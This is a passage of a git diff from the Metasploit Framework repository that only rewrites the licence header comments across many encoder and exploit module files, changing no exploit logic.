+1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/encoders/x86/alpha_upper.rb b/modules/encoders/x86/alpha_upper.rb index 693858088a..9836928ec5 100644 --- a/modules/encoders/x86/alpha_upper.rb +++ b/modules/encoders/x86/alpha_upper.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/avoid_underscore_tolower.rb b/modules/encoders/x86/avoid_underscore_tolower.rb index 780e4a475e..1c3d477fe4 100644 --- a/modules/encoders/x86/avoid_underscore_tolower.rb +++ b/modules/encoders/x86/avoid_underscore_tolower.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/avoid_utf8_tolower.rb b/modules/encoders/x86/avoid_utf8_tolower.rb index cae3664fb3..20a3a5daeb 100644 --- a/modules/encoders/x86/avoid_utf8_tolower.rb +++ b/modules/encoders/x86/avoid_utf8_tolower.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/bloxor.rb b/modules/encoders/x86/bloxor.rb index 52a7f75575..554a879f17 100644 --- a/modules/encoders/x86/bloxor.rb +++ b/modules/encoders/x86/bloxor.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/encoders/x86/call4_dword_xor.rb b/modules/encoders/x86/call4_dword_xor.rb index dfc1ad7675..fdb8bf78ae 100644 --- a/modules/encoders/x86/call4_dword_xor.rb +++ b/modules/encoders/x86/call4_dword_xor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/context_cpuid.rb b/modules/encoders/x86/context_cpuid.rb index 1ab27db70b..86eb3be4c8 100644 --- a/modules/encoders/x86/context_cpuid.rb +++ b/modules/encoders/x86/context_cpuid.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/poly' diff --git a/modules/encoders/x86/context_stat.rb b/modules/encoders/x86/context_stat.rb index 730512694e..926dc67c6e 100644 --- a/modules/encoders/x86/context_stat.rb +++ b/modules/encoders/x86/context_stat.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/poly' diff --git a/modules/encoders/x86/context_time.rb b/modules/encoders/x86/context_time.rb index 0110895171..a00a212a95 100644 --- a/modules/encoders/x86/context_time.rb +++ b/modules/encoders/x86/context_time.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/poly' diff --git a/modules/encoders/x86/countdown.rb b/modules/encoders/x86/countdown.rb index 9d0ab6ce1b..b0c15f3ab5 100644 --- a/modules/encoders/x86/countdown.rb +++ b/modules/encoders/x86/countdown.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/fnstenv_mov.rb b/modules/encoders/x86/fnstenv_mov.rb index 6dfd76e955..fb793e1e93 100644 --- a/modules/encoders/x86/fnstenv_mov.rb +++ b/modules/encoders/x86/fnstenv_mov.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/jmp_call_additive.rb b/modules/encoders/x86/jmp_call_additive.rb index d7b2922cd5..a1018b1ea3 100644 --- a/modules/encoders/x86/jmp_call_additive.rb +++ b/modules/encoders/x86/jmp_call_additive.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/nonalpha.rb b/modules/encoders/x86/nonalpha.rb index fc091e813e..250ebcf995 100644 --- a/modules/encoders/x86/nonalpha.rb +++ b/modules/encoders/x86/nonalpha.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/nonupper.rb b/modules/encoders/x86/nonupper.rb index 3443c6c1a1..513d8b2a58 100644 --- a/modules/encoders/x86/nonupper.rb +++ b/modules/encoders/x86/nonupper.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/shikata_ga_nai.rb b/modules/encoders/x86/shikata_ga_nai.rb index 80d14eaaf0..5208c1be97 100644 --- a/modules/encoders/x86/shikata_ga_nai.rb +++ b/modules/encoders/x86/shikata_ga_nai.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/single_static_bit.rb b/modules/encoders/x86/single_static_bit.rb index bf01650023..bd74981a1d 100644 --- a/modules/encoders/x86/single_static_bit.rb +++ b/modules/encoders/x86/single_static_bit.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/unicode_mixed.rb b/modules/encoders/x86/unicode_mixed.rb index 92c31f45f9..b4fc6fd066 100644 --- a/modules/encoders/x86/unicode_mixed.rb +++ b/modules/encoders/x86/unicode_mixed.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/unicode_upper.rb b/modules/encoders/x86/unicode_upper.rb index 2c7590e022..e236e25adf 100644 --- a/modules/encoders/x86/unicode_upper.rb +++ b/modules/encoders/x86/unicode_upper.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/aix/rpc_cmsd_opcode21.rb b/modules/exploits/aix/rpc_cmsd_opcode21.rb index 5170cba6ef..81f7f12912 100644 --- a/modules/exploits/aix/rpc_cmsd_opcode21.rb +++ b/modules/exploits/aix/rpc_cmsd_opcode21.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/aix/rpc_ttdbserverd_realpath.rb b/modules/exploits/aix/rpc_ttdbserverd_realpath.rb index fc43b70595..41db79436c 100644 --- a/modules/exploits/aix/rpc_ttdbserverd_realpath.rb +++ b/modules/exploits/aix/rpc_ttdbserverd_realpath.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/apple_ios/browser/safari_libtiff.rb b/modules/exploits/apple_ios/browser/safari_libtiff.rb index 5ec03ba846..cebe13c570 100644 --- a/modules/exploits/apple_ios/browser/safari_libtiff.rb +++ b/modules/exploits/apple_ios/browser/safari_libtiff.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/apple_ios/email/mobilemail_libtiff.rb b/modules/exploits/apple_ios/email/mobilemail_libtiff.rb index e55a134f72..7fc92d6805 100644 --- a/modules/exploits/apple_ios/email/mobilemail_libtiff.rb +++ b/modules/exploits/apple_ios/email/mobilemail_libtiff.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb index 7874cb5d22..2f23c9e71b 100644 --- a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb +++ b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/bsdi/softcart/mercantec_softcart.rb b/modules/exploits/bsdi/softcart/mercantec_softcart.rb index dd4535cbe4..e5e067742e 100644 --- a/modules/exploits/bsdi/softcart/mercantec_softcart.rb +++ b/modules/exploits/bsdi/softcart/mercantec_softcart.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/dialup/multi/login/manyargs.rb b/modules/exploits/dialup/multi/login/manyargs.rb index 00aee04ee9..3db4a41ee0 100644 --- a/modules/exploits/dialup/multi/login/manyargs.rb +++ b/modules/exploits/dialup/multi/login/manyargs.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb b/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb index 7e5329f754..2c6954b241 100644 --- a/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb +++ b/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/freebsd/local/mmap.rb b/modules/exploits/freebsd/local/mmap.rb index 5339b7c858..ddfa38cf9e 100644 --- a/modules/exploits/freebsd/local/mmap.rb +++ b/modules/exploits/freebsd/local/mmap.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/freebsd/samba/trans2open.rb b/modules/exploits/freebsd/samba/trans2open.rb index eec9fe0585..683990a1b7 100644 --- a/modules/exploits/freebsd/samba/trans2open.rb +++ b/modules/exploits/freebsd/samba/trans2open.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/freebsd/tacacs/xtacacsd_report.rb b/modules/exploits/freebsd/tacacs/xtacacsd_report.rb index 2b636c3b33..14ea1c0758 100644 --- a/modules/exploits/freebsd/tacacs/xtacacsd_report.rb +++ b/modules/exploits/freebsd/tacacs/xtacacsd_report.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb b/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb index 42c52f4b3a..32b356277d 100644 --- a/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb +++ b/modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb @@ -1,10 +1,8 @@ # -*- coding: binary -*- ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/hpux/lpd/cleanup_exec.rb b/modules/exploits/hpux/lpd/cleanup_exec.rb index 95ca5a51ca..dffec14d7f 100644 --- a/modules/exploits/hpux/lpd/cleanup_exec.rb +++ b/modules/exploits/hpux/lpd/cleanup_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/irix/lpd/tagprinter_exec.rb b/modules/exploits/irix/lpd/tagprinter_exec.rb index ca2e68b418..2a22ac30e4 100644 --- a/modules/exploits/irix/lpd/tagprinter_exec.rb +++ b/modules/exploits/irix/lpd/tagprinter_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb b/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb index 05bb97cffe..b03c816c5c 100644 --- a/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb +++ b/modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/ftp/proftp_sreplace.rb b/modules/exploits/linux/ftp/proftp_sreplace.rb index ba1ea11237..866f6f0ec1 100644 --- a/modules/exploits/linux/ftp/proftp_sreplace.rb +++ b/modules/exploits/linux/ftp/proftp_sreplace.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/ftp/proftp_telnet_iac.rb b/modules/exploits/linux/ftp/proftp_telnet_iac.rb index b55f1c7ef8..b18b7cc67e 100644 --- a/modules/exploits/linux/ftp/proftp_telnet_iac.rb +++ b/modules/exploits/linux/ftp/proftp_telnet_iac.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/games/ut2004_secure.rb b/modules/exploits/linux/games/ut2004_secure.rb index 149b7b6eb5..d056df5613 100644 --- a/modules/exploits/linux/games/ut2004_secure.rb +++ b/modules/exploits/linux/games/ut2004_secure.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb b/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb index c24610876e..9c95dd9722 100644 --- a/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb +++ b/modules/exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/astium_sqli_upload.rb b/modules/exploits/linux/http/astium_sqli_upload.rb index 0319e37bc7..7981a41395 100644 --- a/modules/exploits/linux/http/astium_sqli_upload.rb +++ b/modules/exploits/linux/http/astium_sqli_upload.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/linux/http/ddwrt_cgibin_exec.rb b/modules/exploits/linux/http/ddwrt_cgibin_exec.rb index 537183af5d..bfbb0ab651 100644 --- a/modules/exploits/linux/http/ddwrt_cgibin_exec.rb +++ b/modules/exploits/linux/http/ddwrt_cgibin_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb index 66eed739a7..718bc25350 100644 --- a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb index dbfee84e11..4928510332 100644 --- a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb index e0dd48864d..125dab8587 100644 --- a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb +++ b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/dlink_dir615_up_exec.rb b/modules/exploits/linux/http/dlink_dir615_up_exec.rb index 98550b29b6..a4bb691c6e 100644 --- a/modules/exploits/linux/http/dlink_dir615_up_exec.rb +++ b/modules/exploits/linux/http/dlink_dir615_up_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb index 8b64e86675..ed6bb04f1b 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb index 886917b445..0c5ba23950 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/dolibarr_cmd_exec.rb b/modules/exploits/linux/http/dolibarr_cmd_exec.rb index 9f1518be0a..13a55f1b72 100644 --- a/modules/exploits/linux/http/dolibarr_cmd_exec.rb +++ b/modules/exploits/linux/http/dolibarr_cmd_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/linux/http/dreambox_openpli_shell.rb b/modules/exploits/linux/http/dreambox_openpli_shell.rb index b3435cef20..2fbda937f0 100644 --- a/modules/exploits/linux/http/dreambox_openpli_shell.rb +++ b/modules/exploits/linux/http/dreambox_openpli_shell.rb @@ -1,9 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/esva_exec.rb b/modules/exploits/linux/http/esva_exec.rb index 4a18dd0ab8..747fc60751 100644 --- a/modules/exploits/linux/http/esva_exec.rb +++ b/modules/exploits/linux/http/esva_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb b/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb index 7d4de1df1f..bc02f5d255 100644 --- a/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb +++ b/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/gpsd_format_string.rb b/modules/exploits/linux/http/gpsd_format_string.rb index e1c66e8d22..bc7621a5dc 100644 --- a/modules/exploits/linux/http/gpsd_format_string.rb +++ b/modules/exploits/linux/http/gpsd_format_string.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb b/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb index abd4c45323..64f64f61b9 100644 --- a/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb +++ b/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/linux/http/hp_system_management.rb b/modules/exploits/linux/http/hp_system_management.rb index 67a048214f..e6a4f2c311 100644 --- a/modules/exploits/linux/http/hp_system_management.rb +++ b/modules/exploits/linux/http/hp_system_management.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/linksys_apply_cgi.rb b/modules/exploits/linux/http/linksys_apply_cgi.rb index 911fd7a469..95d28ad2c9 100644 --- a/modules/exploits/linux/http/linksys_apply_cgi.rb +++ b/modules/exploits/linux/http/linksys_apply_cgi.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb index 5dec7ff570..6e5c006a98 100644 --- a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# 